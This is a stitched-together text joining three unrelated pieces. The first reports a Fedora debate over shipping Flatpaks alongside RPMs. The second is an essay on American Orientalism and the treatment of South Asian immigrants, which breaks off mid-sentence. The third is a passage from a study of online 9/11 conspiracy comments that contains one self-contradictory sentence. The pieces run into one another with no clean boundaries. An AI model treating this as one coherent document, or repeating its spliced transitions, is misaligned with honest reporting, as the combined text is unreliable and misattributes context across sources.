So, if sandboxing can be provided by other means, "what on earth is the point of forcing packagers to make Flatpaks?", Richard W. M. Jones asked. Others agreed with that assessment and wondered what Flatpaks provide that can't be solved with RPM packages. But it is a rare Fedora system that only has RPMs from Fedora repositories installed, as Bill Nottingham pointed out. Typically systems are built up from other sources as well: Coprs, RPMs from elsewhere, packages from language-specific repositories (e.g. PyPI), containers from various sources, packages retrieved using curl, and software built from tarballs. He continued:
If the only answer Fedora has for this is "convince everyone to only build RPMs using system [repo] components"... that's fighting a rear-guard battle that has already been lost. I don't think supporting Flatpak apps is necessarily any worse than what already has to happen with all of the above.
And Flatpaks do have some other advantages, as Taylor outlined:
There are no scriplets with [Flatpaks] - no arbitrary code execution at install time.
There is no ability for Flatpaks to drop arbitrary files at arbitrary locations on your system. Well, the nice thing is that: The idea is that you don't *have* to inspect a flatpak before installation to make sure that it's not dangerous.
Fedora == RPM?
But in another sub-thread, Kofler wonders why users would get Flatpaks from Fedora; why wouldn't they just get them from upstream? RPMs are an important feature of Fedora, he said:
The whole point of delivering software under the Fedora umbrella is to deliver it as RPMs. If there is no RPM, delivering through Fedora is completely useless.
Fedora project leader Matthew Miller took exception to that characterization: "I strongly dispute the idea that Fedora must be tied to a particular packaging technology." But Stephen J. Smoogen agreed with Kofler, at least from a branding standpoint: "RPM is part and parcel of what makes Fedora for most people." Others, including Miller, disagreed; various examples, counter-examples, and car analogies were offered up, but it seems there are some fundamentally different views of what Fedora is.
The "plan" that Taylor outlined is part of what has gotten some in the Fedora community riled. It posits a future without RPMs, at least for some packages, but it is only Taylor's vision, not something that is currently being considered. As he put it:
But I want to be clear that there is no *proposal* on the table to ship things Flatpak only, and *no proposed timescale*. And there won't be until we know how the tools work out for packagers, how Flatpak usage works out for users, and we have a significant body of Fedora packages built as Flatpaks to look at things like installed size and network usage. These are things we can only get to by building out the infrastructure so that packagers can start trying building Flatpaks and users can start trying installing them.
The intent seems to be to test out Flatpaks in a "real world" environment to see what advantages, problems, and downsides they have. Many, including Miller, believe it is in keeping with the nature of the distribution to do that kind of experiment. There are a number of ideas swirling around the industry these days, and containerization is one of them, so it makes sense for Fedora to explore that, Christian Schaller said:
Containers have caught on due to solving some important problems and thus people are looking at models for what the future operating system would look like where containers are the primary content delivery mechanism. In Fedora we have efforts [around] Docker/OCI containers and Flatpak containers and we are looking at image based OS installs with the Atomic and Atomic Workstation effort. The fact that we are developing stuff like this in Fedora is a good thing as it means that if it does turn out to be a better model we are well positioned to take advantage of the shift in the market. And if the scepticism some people have about containers turns out to be well founded we still have our RPM based OS to fall back on.
The Fedora Engineering Steering Committee (FESCo) took up the proposal at its July 21 meeting. As can be seen in the log (starting at 16:04), FESCo members noted the opposition, but found that it was mostly ideological differences over packaging formats. Adding Flatpaks in parallel to RPMs is not really harming anyone or anything. If the experiment is successful, perhaps there will be other proposals down the road that do change the picture with regard to RPM availability, but those can be dealt with then. In the end, FESCo unanimously approved the proposal, so Fedora 27 should be a good testbed for those who are interested in trying out Flatpaks.American Orientalism American Orientalism From the late nineteenth century to our post-9/11 era, Americans have imagined South Asians simultaneously as exotic and barbaric, magical and menacing—to the detriment of those immigrants who are already most vulnerable. Poster for 1914 Barnum & Bailey circus (John & Mable Ringling Museum of Art Tibbals Collection)
One day in early October 2001, three weeks after the Al Qaeda attacks on the World Trade Center and Pentagon, Ansar Mahmood was out delivering pizzas in the town where he lived and worked in the Hudson River Valley, north of New York City. Mahmood was a green-card-holding immigrant from Pakistan. He had recently written to his sister back home about how beautiful the valley was, and he wanted to send her a picture. That day, as the sun began to set, he pulled over at a scenic spot and asked two men who were nearby to take a picture of him against the backdrop of the serene river and colorful fall foliage. In an interview with author and activist Irum Shiekh, Mahmood remembered receiving a call from his boss soon afterward; police were at the pizzeria and wanted to speak to him. Unknown to Mahmood, the area where he had earlier taken a photo was close to a water treatment plant. Someone had called the police to report that a suspicious-looking man had been there, taking photos of the plant. Mahmood would spend most of the next three and a half years incarcerated in detention centers with other South Asian and Muslim men, and in and out of courts fighting for his release. While authorities found no evidence to support terrorism charges against Mahmood, they prosecuted him for helping two friends from Pakistan, who—again, unknown to him—had stayed in the United States after their visas expired.
Ansar Mahmood was one of countless Sikh, Muslim, and “Muslim-looking” immigrants and citizens who bore the weight of the backlash that unfolded across the United States following the 9/11 attacks. In schools, Muslim and South Asian American children and youth were harassed and bullied. The FBI and local police agencies put an unknown number of Muslim Americans under surveillance, monitoring email and phone communications and social media activity, and infiltrated Muslim communities and places of worship. Thousands of men and women who were deemed “suspicious” by authorities or citizens or who were found to have minor immigration infractions were arrested, detained, and deported. Others, such as Balbir Singh Sodhi, Waqar Hasan, Vasudev Patel, and Sukhvir Singh were murdered by self-styled “patriots” in the gas stations or convenience stores where they worked. In the American media, images of Muslim terrorists—including, increasingly, men and women from Pakistan—multiplied: in Hollywood films, on television, on the news, in popular video games, and in the rhetoric of anti-Muslim commentators and politicians.
In March 2004, as Ansar Mahmood sat in a federal penitentiary in upstate New York awaiting “deportation for life” back to Pakistan, Newsweek published an article entitled “American Masala.” The piece was prompted by the arrival of Andrew Lloyd Webber’s lavish, Bollywood-inspired musical Bombay Dreams on Broadway. Newsweek declared that “[t]he timing couldn’t be better,” asserting that the musical, “which tells the story of a young man from the slums who rises to film stardom,” was “an apt metaphor for the growing visibility of a new generation of South Asians in the United States... who are making their mark everywhere from Hollywood to Wall Street.” The article cited South Asian American bankers, politicians, CEOs and entertainment executives, alongside authors, actors, and film directors. It pointed to the high profile of South Asians in Silicon Valley and the most elite U.S. colleges and universities, and noted that the median income of an Indian American family was 65 percent above the national average. While briefly acknowledging that this did not tell the entire South Asian American story, the article was upbeat as it pointed to “chai at Starbucks,” Punjabi bhangra music on HBO’s The Sopranos, South Asian fashions “at Barney’s in Beverley Hills,” and “yoga studios on every corner.”
A week later, Time Out New York published a first-of-its-kind South Asian-themed special issue, also prompted by the opening of Bombay Dreams. Time Out presented a larger and more varied group of South Asian American musicians, artists, and writers than Newsweek and explicitly mentioned the post–9/11 backlash that some members of the community were experiencing. Still, the glitter and excitement of Bollywood seemed to overwhelm the issue’s portrait of “South Asian New York.” The colorful cover of Time Out featured Bombay Dreams’ two female leads in bouffant hairdos, bindis, and flapper-style mini dresses next to the bold heading: “Spice Girls.”
The contrast was stark. One group of South Asians had become objects of fear and derision and targets of immigration enforcement and extra-legal violence. Another group of South Asians was being heralded for their social, economic, and cultural contributions to the United States. The aftermath of 9/11 had brought into relief a deep set of divisions within the South Asian American community. In some ways, these years called into question the very utility of “South Asian” as an identity marking the common experiences of Americans with roots in Pakistan, India, Bangladesh, Nepal, and Sri Lanka. These were nations that shared colonial histories as different parts of British India and Ceylon, but they were now divided by military, religious, and ethnic conflicts on the subcontinent, and their diasporic communities had significantly different levels of power, income, and influence in the United States.
Initially, South Asian Americans of every class, nationality, and religious background seemed to share equally the fears and dangers of the post–9/11 backlash—of government profiling and individual acts of violence. This is a moment historian Vijay Prashad has recently described as “the day our probation ended.” But by 2004, divisions began to emerge—between Indians on one side and Pakistanis and Bangladeshis on the other; Hindus on one side and Muslims and Sikhs on the other; established, middle- and upper-class immigrants on one side and recent, working-class immigrants on the other. These divides occurred in part because some South Asians actively sought to distinguish and distance themselves from others. But at a deeper level, the divisions were the result of U.S. government policies that singled out specific South Asian groups (such as the NSEERS program, which required the registration of male noncitizens from Pakistan, Bangladesh, and Afghanistan), and by the onslaught of media that demonized men with beards and turbans and women with hijabs. By the time Bombay Dreams opened, the complexities that lay beneath the surface of “South Asian” identity were flattened into a powerful binary; South Asian Americans were either model minorities or national threats.
But this was not merely a post–9/11 phenomenon. In fact, the division between the feared and the desired, the denigrated and the celebrated, has been a defining feature of South Asian racialization in the United States for over one hundred years. Since the late nineteenth century when travelers and migrants first began arriving in significant numbers from British India, Americans have imagined South Asians simultaneously as exotic and barbaric, as magical and menacing, as beneficial and perilous. And for decades, federal immigration laws and popular culture have worked together to make these distinctions, to distinguish desirable from undesirable South Asians.
The negative impact of these distinctions is not shared evenly. Today, such differentiations have their greatest effect on those who are already most vulnerable—most surveilled and policed—in our communities: the poor and the working class, recent and undocumented immigrants, women with dependent immigration status, Muslim and Sikh women and men. In the thirteen years since 9/11, xenophobia, Islamophobia, and acts of anti-South Asian, anti-Sikh, and anti-Muslim violence have remained consistently high, and they show little sign of abating. Given such stakes, it is important that we understand the longer history of denigration and celebration—of phobias and philias—that has defined the experiences of South Asians in the United States.
Fear and Exclusion
On an early September night in 1907, fifteen hundred white lumber mill workers set off on a rampage against Indian immigrants in the coastal town of Bellingham, Washington. The Indians, also mill workers, were predominantly from Punjab; most were turbaned Sikh men. The rioters saw the Indians as aliens, outsiders, and racial inferiors who were taking away American jobs, jobs that should go to white men. As they made their way across Bellingham, the mob, according to historian Joan Jensen,
swept down to the waterfront... where many of the Indians lived. Battering down the doors, the mob... pocketed money and jewelry, and dragged Indians from their beds... Those who did not move fast enough were beaten... Fifty men stormed the surrounding mills, pulled Indians from their bunks and began to burn the bunkhouses.
By the end of the night, two hundred Indian men, beaten and bruised, had been rounded up like cattle into Bellingham’s City Hall. Over the next days, most of the Indians chose to leave Bellingham, and the United States, in search of work in British Columbia. Local white residents cheered as their train rolled out of the station.
An article from the September 16, 1906 Puget Sound American describing recent “Hindu” immigration to Bellingham, Washington. Courtesy of the South Asian American Digital Archive.
It is not well known among Americans today that immigrants from British colonial “India”—that is, from present-day India, Pakistan, and Bangladesh—were entering the United States alongside the Irish, Italians, Greeks, Germans, Poles, Russians, and other Europeans during the “golden age” of immigration between the 1890s and 1920s. It is also not well known that, though their numbers were small, these Indian or “Hindu” migrants (“Hindu” being a racial term applied to all South Asians) figured prominently in the public outcry for restrictions on immigration. Members and supporters of the West Coast-based Asiatic Exclusion League were the first to promote the idea that a nefarious horde of “Hindus” was about to swamp the United States. But their discourse became national in scope, and came to include claims that thousands of Indian and Chinese seamen (the former, primarily Muslims from present-day Bangladesh) were jumping ship, smuggling drugs, and engaging in human trafficking through northeastern ports. In the opening decades of the twentieth century, in newspapers, public speeches, and congressional testimony, Indian immigrants were portrayed as a looming threat to the United States. Alongside other Asian laborers, Indians were viewed in much the same way that immigrants from Mexico, Central America, Haiti, and elsewhere south of the U.S. border have been in recent years.
At the same time, as historian Seema Sohi has argued, Indians occupied a unique place in the broader anti-Asian rhetoric of the early twentieth century. Because Indian nationalist exiles had been using what they believed to be the safety of U.S. soil to plan and coordinate anti-colonial activities against the British, they became a focus of the state’s broad efforts to quell political radicalism in the 1910s. While West Coast labor leaders warned of a “Tide of Turbans” sweeping in from the Pacific to take away American workers’ jobs, congressional advocates for exclusion warned that Indian immigrants were promoting subversion, Bolshevism, and anarchism, and were a threat to national security. In 1917 British, Canadian, and U.S. officials collaborated to round up dozens of Indian men for conspiring to smuggle arms through the United States to overthrow British rule on the subcontinent. Their San Francisco trial was not only front-page news across the country but became the most expensive federal trial up to that point in American history.
The anti-Indian agitation that began with the 1907 Bellingham riots came to a kind of culmination by 1917. In early February—a month before the first arrests in the “Hindu-German Conspiracy” case—Congress passed a sweeping Immigration Act. The Act capped off thirty-five years of increasingly restrictive anti-Asian immigration laws that had begun with the Chinese Exclusion Act of 1882. The 1917 law’s key provision broadened the scope of exclusion; it prohibited all labor immigration from what it defined as the “Asiatic Barred Zone,” a huge swath of territory that stretched from Afghanistan and the eastern Arabian peninsula in the West to China and the Southeast Asian archipelago in the East. While immigration had become more and more difficult for Indian workers in preceding years, crossing the U.S. border was now a criminal act. Indians who were already in the country faced other restrictions: laws forbidding them from owning property and, in 1923, a Supreme Court decision that rendered them ineligible from becoming U.S. citizens. The early twentieth century is often trumpeted as the moment in which the United States truly became a “nation of immigrants.” For the vast majority of people from what is now known as South Asia, it was the moment in which the United States became a nation of immigrant exclusion.
“Incredible India”
What is striking about the events described above is that they unfolded amid what was also the first widespread American fashion for goods, entertainment, and spirituality from India and “the Orient.” In recent years, scholars such as Kristin Hoganson, Holly Edwards, and John K.W. Tchen have given us a rich portrait of this era. Throughout the eighteenth and nineteenth centuries, Orientalist ideas about a mysterious, mystical, and alluring East—ideas for the most part rooted in the art, literature, and material spoils of European colonial encounters—had traveled across the Atlantic, circulating among the United States’ political, economic, and cultural elites. Following their counterparts in London and Paris, the upper classes of New York, Philadelphia, Boston, and Chicago outfitted their homes with porcelain from China and Japan; textiles, embroidery, and brass work from India; and rugs from Afghanistan, Central Asia, and the Middle East.
Then, in the latter half of the nineteenth century, “Oriental goods” and the ideas, images, and desires they evoked, spread across class lines and to every corner of the country. The United States was rapidly transforming into a nation of factories and department stores, of consumerism and entertainment spectacles. Working- and middle-class Americans not only had more disposable income than ever before, but, in the words of cultural historian William Leach, they were now surrounded by “a new powerful universe of consumer enticements.”
There was something about Western fantasies of India and “the East” that thrived in this new mass consumer culture. American marketers could use ideas and images of “India”—largely blurred together with the Middle East and North Africa—to make their goods and entertainments more alluring. Consuming goods, reading stories, watching performances, and witnessing “natives” from “the East” gave ordinary Americans access to something that was simultaneously exotic and sophisticated. Silks, perfumes, rugs, and hookahs, along with yoga, mystic philosophies, and tales of far off colonies, deserts, and jungles, all connected Americans to a world they imagined as adventurous, magical, spiritual, free from constraints, and ripe with possibility for refashioning themselves and their relation to the world.
At the same time, it cannot have been a coincidence that Americans were drawn to the British colonial experience in India at this very moment—when, after completing its colonial expansion across North America and taking control of new territories in the Spanish American War, the United States had become a rising global power in its own right. There was, in other words, something else significant about the idea of “India.” Britain’s rule over India—and all the goods, images, and “knowledge” it implied—symbolized imperial power itself. For Americans, to own the goods and consume the stories associated with British colonial rule on the subcontinent gave them a sense of their own increasing imperial knowledge and power.
At the turn of the twentieth century, “India” seemed to be everywhere in U.S. consumer culture. One of the earliest Orientalist fantasy images to enter into American mass culture was that of a maharajah, sultan, or amir smoking a hookah, surrounded by dancing harem girls. Earlier in the nineteenth century, this image had been the subject of British, French, and American Orientalist paintings. By the turn of the twentieth century, scenes of Oriental harems and palaces turned up in advertisements, on picture postcards, and on the covers of Tin Pan Alley sheet music. The sexualized figure of the Eastern dancing girl appeared in spaces of high and low culture alike. The dancer “Little Egypt” became a national sensation after performing at the Chicago World’s Fair. Isadora Duncan performed her adaptation of the Rubaiyat of Omar Khayyam barefoot and in flowing robes for the elite women of Newport, Rhode Island. Ruth St. Denis danced in Indian “nautch” style, in a sari and gold jewelry on a Broadway stage, while “Oriental dancers” of various backgrounds performed in the nation’s brothels and burlesques.
In the meantime, in what Edwards has described as “the most sustained campaign to capitalize on oriental motifs,” American tobacco companies made the imagery of harems, hookahs, and palaces central to the marketing of a wide range of their products: Mecca, Camel, Fatima, Omar, and Mogul cigarettes, Hindoo pipe tobacco, Royal Bengal cigars. One 1915 advertisement for Mogul Cigarettes showed the silhouette of a cigarette-smoking, turbaned Mughal emperor, reposing on a pillow under the Saracen arches of his palace as he watches a curvaceous dancing girl; nearby, two musicians play, an attendant waves a fan above him, a servant approaches with a steaming teapot (drawn to evoke Aladdin’s magic lamp), and a male guard stands by, wielding a scimitar-shaped sword. The popularity of such imagery among American men suggests a kind of imperial envy; a fantasy in which they could step into the imagined world of the British empire, supplant the maharajahs and amirs of that world, and take possession of their riches as well as their sexually adventurous, compliant young “nautch girls.”
The same fantasy world connected American women to a different sexual imaginary. Middle-class white women encountered notions of Oriental princes, palaces, and harems in the rapidly expanding realm of popular fashion and home décor. As elite suffragists challenged political exclusion and the varied confines and restrictions of Victorian womanhood, U.S. women’s magazines and department stores marketed—and middle-class women increasingly bought—the ornate flowing silks and cottons, perfumes and interior furnishings associated with “nautch” dancers, harem “maidens” and their imagined worlds. As Hoganson, Gina Marchetti and others have argued, wearing and displaying Eastern fabrics, jewelry, and decorative items became ways for the American “new woman” to stake a claim to independence, sophistication, and ultimately, a liberated, post-Victorian sexuality.
If turn-of-the-century Americans were drawn to the sensuality of the harem, they were equally drawn to the spirituality of yoga and Hindu philosophy. The most prominent emissaries of Hindu thought from this period were the Vedantist Swamis Vivekananda and Abhedananda, whose lectures in the United States were widely covered in the press as they themselves filled public halls from New York to San Francisco. Today the Vedantists are most well-remembered for the following they developed among urban elites, but Vedantism perhaps had its greatest impact in other social realms. In 1898 a local Nebraskan paper that printed one of Abhedananda’s lectures described him as a bearer of ancient occult powers and presented his lecture as a rare revelation of the “secrets” and “marvelous psychic powers” of “Hindu sages.” It was in this vein—as a corpus of ancient Hindu secrets that promised self-improvement, self-empowerment, and occult power—that Vedantism spread widely across the U.S. popular consciousness.
This was in no small measure due to the efforts of William Walker Atkinson, a former lawyer from Chicago who founded a mail-order book business, the Yogi Publication Society. Under a series of “Indian” pseudonyms—Yogi Ramacharaka, Swami Panchadasi, Swami Bhakta Vishita—Atkinson wrote and sold an astonishing number of books on “Yogi Science” and “Oriental Occultism.” Atkinson appears to have operated like a one-man production line, taking the books and lectures of the Vedantists, reworking them to appeal to the desires and sensibilities of the American mass market, and then branding them with “East Indian” names for authenticity.
In this process, Atkinson often turned Vedantist ideas on their heads, presenting them as principles for achieving the most worldly of goals. In one text, for example, Atkinson (as Ramacharaka) explains a key idea of karma yoga—selfless work toward the betterment of the world—by citing an American “captain of industry” who declared “I cannot help but feeling... that the things I do are done for some other people, possibly the race... I get no special pleasure from my money, although I feel a keen interest in the game of making it.” Atkinson’s approach provided a blueprint for any number of Americans, up to the New Age and yoga entrepreneurs of the present day, who have sold South Asian philosophical and religious ideas as avenues to individual power and success. In this sense, Atkinson differed little from the American tobacco companies of his era—he too turned notions of an exotic “East” into profit in the West.
It was through circuses and exhibitions, however, that fantasies of India appear to have reached the widest audience and reaped the greatest returns. In many ways, “Oriental” empires in the Western imagination—with their lavish displays of wealth and color, their air of the magical and the mystical—were tailor-made for turn-of-the-century American showmen, who sought to draw in audiences and outdo competitors with their offerings of dazzle, wonder, and pageantry. Between the 1890s and 1910s, Indian and “Oriental” themes, stories, and visual tableaux multiplied across the many forms of American mass entertainment, from New Orleans’ Mardi Gras parades, to Coney Island, to Barnum & Bailey’s circuses and the Wild West shows of Buffalo and Pawnee Bill.
According to curator and historian Jennifer Lemmer Posey, during this era American circuses began to open each performance by staging a large-scale themed procession. These spectacles often centered on the world’s great empires, and “Oriental” and British colonial themes became some of the most common. Barnum & Bailey staged Oriental India in 1896, The Mahdi, or for the Victoria Cross in 1897, and The Wizard Prince of Arabia, an “Indo-Arabic Spectacle,” in 1914. The poster for the latter was bright and lavish, featuring elephants, camels, musicians, dancing women, and bearded, turbaned men stretching to the horizon. Bold headlines promised audiences “1250 Actors and Actresses, 300 Dancing Girls... and 250 Singers in Weird Oriental Choruses.” Audiences in every corner of the United States were drawn to such spectacles; for most Americans, these were probably the most immediate encounters with “India” and “Indians” that they had ever had.
Desirable and Undesirable Brownness
Between 1904 and 1917, while working-class and expatriate Indians were targeted in acts of xenophobic violence, denounced as economic and political threats and marked for exclusion, white Americans continued to fantasize about exotic “India,” which provided a seemingly endless supply of material for consumption. However, then as now, xenophobia and Indophilia were not simply contradictory attitudes that played out in two separate social spheres—that is, South Asians were not simply denigrated in political debates over immigration restriction while they were simultaneously celebrated in popular culture. Instead, each sphere generated its own set of distinctions between who was desirable and who was not, and each set of distinctions reinforced the other.
The anti-Asian immigration laws of the late nineteenth and early twentieth centuries are commonly known as “exclusion acts” and the years that they were in effect as the “exclusion era.” However, the 1882 Chinese Exclusion Act, the 1885 Alien Contract Labor Law, and the 1917 Immigration Act were never |
some noteworthy patterns regarding the nature of online discussion of conspiracy theories, and provided valuable insight into the minds of conspiracists and conventionalists. We measured several aspects of each comment, dealt with in each of the subsections below.
Other Conspiracy Theories
In debating the various conspiracy theories regarding 9/11, it is relatively common for people to refer to other conspiracy theories, such as the assassination of President John F. Kennedy (JFK), as a reference point. Interestingly, the number of unrelated conspiracy theories mentioned favorably and unfavorably was different between conspiracist and conventionalist comments. On average, conspiracist comments mentioned about six times as many other conspiracy theories as being true as conventionalist comments did (0.12 vs. 0.02 per comment). Conventionalist comments, on the other hand, made about nine times as many negative references to other conspiracy theories as conspiracist comments did (0.18 vs. 0.02 per comment).
This replicates a classic finding in conspiracy psychology—the tendency for conspiracy beliefs to be positively correlated with one another. In the most comprehensive analysis of the correlates of conspiracy theorizing to date, Swami et al. (2010) were able to explain over 50% of the variance in beliefs in 9/11 conspiracy theories with a model incorporating a number of psychological variables. People were more likely to believe that 9/11 was an inside job if they were highly exposed to the relevant conspiracy theories, cynical about politics, disagreeable, and anti-authoritarian. The strongest predictor by far, however, was beliefs in other conspiracy theories. In fact, this is probably the most consistent finding of the research literature so far—the more someone believes in one conspiracy theory, the more they tend to believe in others (see also Goertzel, 1994; Swami et al., 2011; Wood et al., 2012). While this correlation may be attributable in part to the fact that many diverse conspiracy beliefs are predicted by the same variables (Sutton and Douglas, 2014), many researchers have interpreted this key finding as evidence for a general conspiracy worldview, a belief system in which conspiracy is the dominant force in history and the truth of major events is hidden from the public as a matter of course (Goertzel, 1994; Imhoff and Bruder, 2014). This worldview or thinking style, sometimes referred to as conspiracist ideation (e.g., Lewandowsky et al., 2013), is characterized by a general opposition to the mainstream or a distrust of the institutions of society at large. Conspiracist ideation is seen not as a positive belief, but a negative belief—a disbelief, or a generalized rejection of received narratives rather than an acceptance of specific alternatives. Being a “conspiracy theorist” is not about believing in a particular conspiracy, but in rejecting the official story.
KEY CONCEPT 3. Conspiracism/conspiracist ideation
The general tendency to attribute significant events or social conditions to hidden conspiracies rather than to overt processes or coincidence.
Several converging lines of evidence support this conception of the nature of conspiracist ideation. Wood et al. (2012) demonstrated that mutually contradictory conspiracy beliefs tend to be positively correlated—the more someone believed that Princess Diana was assassinated by MI6, the more they also tended to believe that she was assassinated by her boyfriend's family's business rivals; the more someone believed that Osama bin Laden died long before his supposed death in 2011, the more they believed that he survived the American raid that was said to have killed him. Imhoff and Bruder (2014) and Oliver and Wood (2014) have demonstrated that conspiracist ideation is mostly independent of other sociopolitical dimensions like right-wing authoritarianism, conservatism, and social dominance orientation (though not entirely; see, e.g., Grzesiak-Feldman and Izrycka, 2009). Van Prooijen et al. (2015) and Inglehart (1987) have shown that conspiracy belief tends to be higher among people who find themselves outside the political mainstream—those with either extreme left-wing or extreme right-wing politics are more likely than relative centrists to perceive a conspiracy behind society. Acceptance of conspiracy theories is also positively correlated with proneness to boredom (Brotherton and Eser, 2015), agency detection (Van der Tempel and Alcock, 2015; Douglas et al., in press), political cynicism (Swami et al., 2010, 2011), and anomie (Goertzel, 1994; Abalakina-Paap et al., 1999). Similarly, Swami et al. (2010) found that conspiracy belief is more prevalent among people with a disagreeable personality, though other studies have found no such effect (Swami et al., 2013; Lobato et al., 2014). By portraying a disliked outgroup as a sinister enemy of ambiguously vast power, conspiracy theories may help to manage threat and anxiety (Kofta and Sędek, 2005; Swami, 2012; Grzesiak-Feldman, 2013; Sullivan et al., 2014; Mashuri and Zaduqisti, 2015). Finally, theoretical and qualitative works present a convincing case that conspiracy theorizing is very often an anti-authoritarian activity, focused on challenging dominant societal power structures and providing counter-narratives to mainstream understandings of the world (Raab et al., 2013; Sapountzis and Condor, 2013; Harambam and Aupers, 2015).
KEY CONCEPT 4. Anomie
A feeling of alienation and disconnection from the ideology and values of society at large.
Taken together, this body of research suggests that the conspiracist mindset is at odds with acceptance of the mainstream. People who believe many conspiracy theories tend to feel alienated from society, to harbor extreme political views, to feel anxious or threatened, to be cynical about politics, to have generally disagreeable personalities, to hold views that diverge from the accepted mainstream, and to generally mistrust others. On this basis, it seems quite likely that the conspiracist mindset is characterized to a large extent by disbelief in official narratives rather than positive belief in alternatives, leading to a widespread acceptance of many different—and overtly unrelated—conspiracy theories.
The finding that conspiracist comments tend to be more positive than conventionalist comments about unrelated conspiracy theories matches this body of literature, and thereby strengthens our case that quantitative content analysis of online communication can provide valuable information regarding the thought processes of the communicator. When there is minimal information about the audience, as in this case, people use arguments that fit with their broader worldview and thinking style. The Internet is home to a tremendous amount of persuasive communications written in public. Such communications could prove to be an extremely rich source of observational data for future studies. Moving beyond comments on others' work, individual websites or videos could be coded according to a similar scheme. People seem intuitively less likely to make inferences about others' worldviews—thereby heightening their likelihood to project—when they are attempting to reach a broad and nonspecific audience, rather than responding to a particular person in a comment or forum post.
Interestingly, there was some variance in the other conspiracy theories chosen by commenters. For the most part, conspiracist comments referred to relatively well-known and comparatively mundane theories regarding assassinations and terrorist plots. The death of JFK was a popular topic, for instance—many conspiracist comments drew parallels between the widely-believed alternative theories of President Kennedy's assassination (Swift, 2013) and theories that 9/11 was likewise carried out in secret by the American power elite. Conventionalist comments, on the other hand, were much more likely to refer to exotic or ridiculous-sounding conspiracy theories, such as a cover-up of the existence of Bigfoot, alien abductions, or reptilian shapeshifters. This raises the possibility that the differences between conventionalist and conspiracist comments were an artifact of rhetorical congruency—naturally, people will pick examples that will support their arguments. However, the opposite approach is also a valid rhetorical strategy. A 9/11 conventionalist who believes that Princess Diana was assassinated may be a more convincing figure to a conspiracist than one who does not believe any conspiracy theories (Maass and Clark, 1984).
Positive and Negative Argumentation
Based on indications from prior research that the conspiracist worldview has its basis in disbelief in official explanations rather than positive belief in alternatives (e.g., Wood et al., 2012), we expected to see a particular imbalance in the degree to which commenters used positive and negative arguments. Specifically, we predicted that conspiracist comments would contain fewer positive and more negative arguments than conventionalist comments. In agreement with our prediction, conventionalist comments used positive arguments about 56% of the time, compared to 31% of conspiracist comments. Negative arguments showed the opposite difference—only 44% of conventionalist comments argued against the opposing interpretation, while 64% of conspiracist comments did the same.
KEY CONCEPT 5. Negative arguments
Advancing a position by presenting an argument that contradicts an opposing position: “9/11 was clearly an inside job, since the official story can't explain the collapse of Building 7.”
KEY CONCEPT 6. Positive arguments
Advancing a position by presenting an argument that directly supports it: “9/11 was clearly an inside job, since thermite residue in the wreckage of the Twin Towers is conclusive evidence of a controlled demolition.”
Unlike conventionalists, who mostly provided arguments in favor of their own position, conspiracists overwhelmingly argued against the opposing positions. By our reasoning above, this choice of communicative strategy is not accidental. Rather, it is the sort of argument that conspiracists themselves find most persuasive and it therefore gives a clue as to how they think about the world. The use of negative over positive arguments supports the idea explored above, that the conspiracist worldview is not about belief in particular explanations for events but a disbelief in particular explanations—specifically, in mainstream, received, or official accounts of major events or social conditions. For the most part, alternative accounts of 9/11 and events like it are not initially accepted by conspiracists because they do a good job of explaining the available facts, but because they oppose the account that comes from a disliked or distrusted source and because a conspiracist account fits with a broader conspiracist worldview. Someone who prefers a conspiracist explanation for 9/11 may not have a specific alternative account in mind at all (cf. Dean, 2002). Rather, if the official account can be discounted, a conspiracy—however, vague—must have been at work. Recent research continues to bear out this general idea. Van Prooijen and Jostmann (2013) have demonstrated the importance of feelings of uncertainty in cultivating conspiracy belief; Einstein and Glick (2014) have shown that specific elaboration upon conspiracy theory claims appears to decrease belief in them; and Swami et al. (2014) have demonstrated that adopting an analytical mindset, one characterized by attention to detail, tends to attenuate conspiracy theory belief. Also, when conspiracy theories are elaborated upon, people with a better grasp of probability and logical reasoning may reject them; correlational research has shown lower conspiracy belief in people who are less susceptible to the conjunction fallacy (Brotherton and French, 2014), and lower belief amongst individuals who are less likely to attribute agency and intentionality to environmental factors by default (Douglas et al., in press).
Internal politics might also be a factor in the decision to use negative rather than positive arguments to promote conspiracy theories. As noted above, the 9/11 Truth Movement is extremely diverse. Other than the mere existence of a conspiracy and the falsity of the mainstream account, there may be little that everyone in the movement agrees upon. Conflicts within the Truth Movement over topics such as the motives, perpetrators, or details of the execution of the attacks can be intense, and often involve allegations that the other party is working for the conspirators, pushing a misleading conspiracy theory in order to throw well-meaning truth-seekers off the trail (e.g., Wood, 2009; Fox, 2013). Negative arguments avoid this pitfall. All 9/11 conspiracists can agree that the conventional account is false, so criticizing it is uncontroversial. A tendency toward a negative argument style allows conspiracists to focus on arguing more with conventionalists and less with each other.
These findings prompt some key questions about the effectiveness and prevalence of positive and negative argumentation. If someone prefers positive to negative arguments or vice versa, is it because they find their preferred type of argument most convincing, or because they find their preferred argument type more accessible and easier to generate? Does the prevalence of negative argumentation in the conspiracy theory world owe its existence to the structure of the conspiracist belief system or to political considerations and a desire for a “big tent” of conspiracy theory? Finally, are positive or negative arguments ultimately more successful? Does it depend on the subject matter? Answering these questions may provide instructive insights into developing effective persuasive communications tailored to their recipients' worldviews, and inform efforts by policy-makers to counter the spread of potentially harmful conspiracy theories, such as those concerning vaccination or global climate change (cf. Jolley and Douglas, 2014a,b; Douglas and Sutton, 2015; Douglas et al., 2015, in press).
Mistrust and Powerlessness
Only two comments in the sample of 2174 contained expressions of powerlessness, an insufficient amount for any reasonable analysis. Past research has shown strong connections between conspiracy belief and feelings of powerlessness or loss of control (Hamsher et al., 1968; Abalakina-Paap et al., 1999; Whitson and Galinsky, 2008). However, powerlessness and a lack of control are not attractive traits to have when attempting to convince others to one's worldview. Expressions of powerlessness may have been in short supply in this sample not because feelings of powerlessness are rare, but because they were suppressed by the demands of the situation.
Expressions of mistrust, however, were not in short supply. Conspiracist comments were more likely to express mistrust (of society, groups, institutions, and specific people) than conspiracist comments were (10.6 vs. 1.4%). This result was as expected. A great deal of research into interpersonal trust indicates that low trust is associated with beliefs in conspiracy theories (Hamsher et al., 1968; Wright and Arbuthnot, 1974; Goertzel, 1994; Yelland and Stone, 1996; Abalakina-Paap et al., 1999; Leman and Cinnirella, 2013). Whether trust is a cause, an effect, or both, the relationship seems intuitive. People who trust others are more likely to accept received explanations at face value, and less likely to suspect ulterior motives; likewise, belief that large-scale conspiracies are the driving force in society would not foster a trusting worldview. Projection may also be a factor in interpersonal distrust, since people who rate themselves as more likely to conspire are suspicious that others might do the same (Douglas and Sutton, 2011).
Hostility
We rated each comment for hostility on a scale from 1 to 5, and found that conventionalist comments tended to have a higher hostility rating than conspiracist comments (2.08 vs. 1.44 on a 1–5 scale).
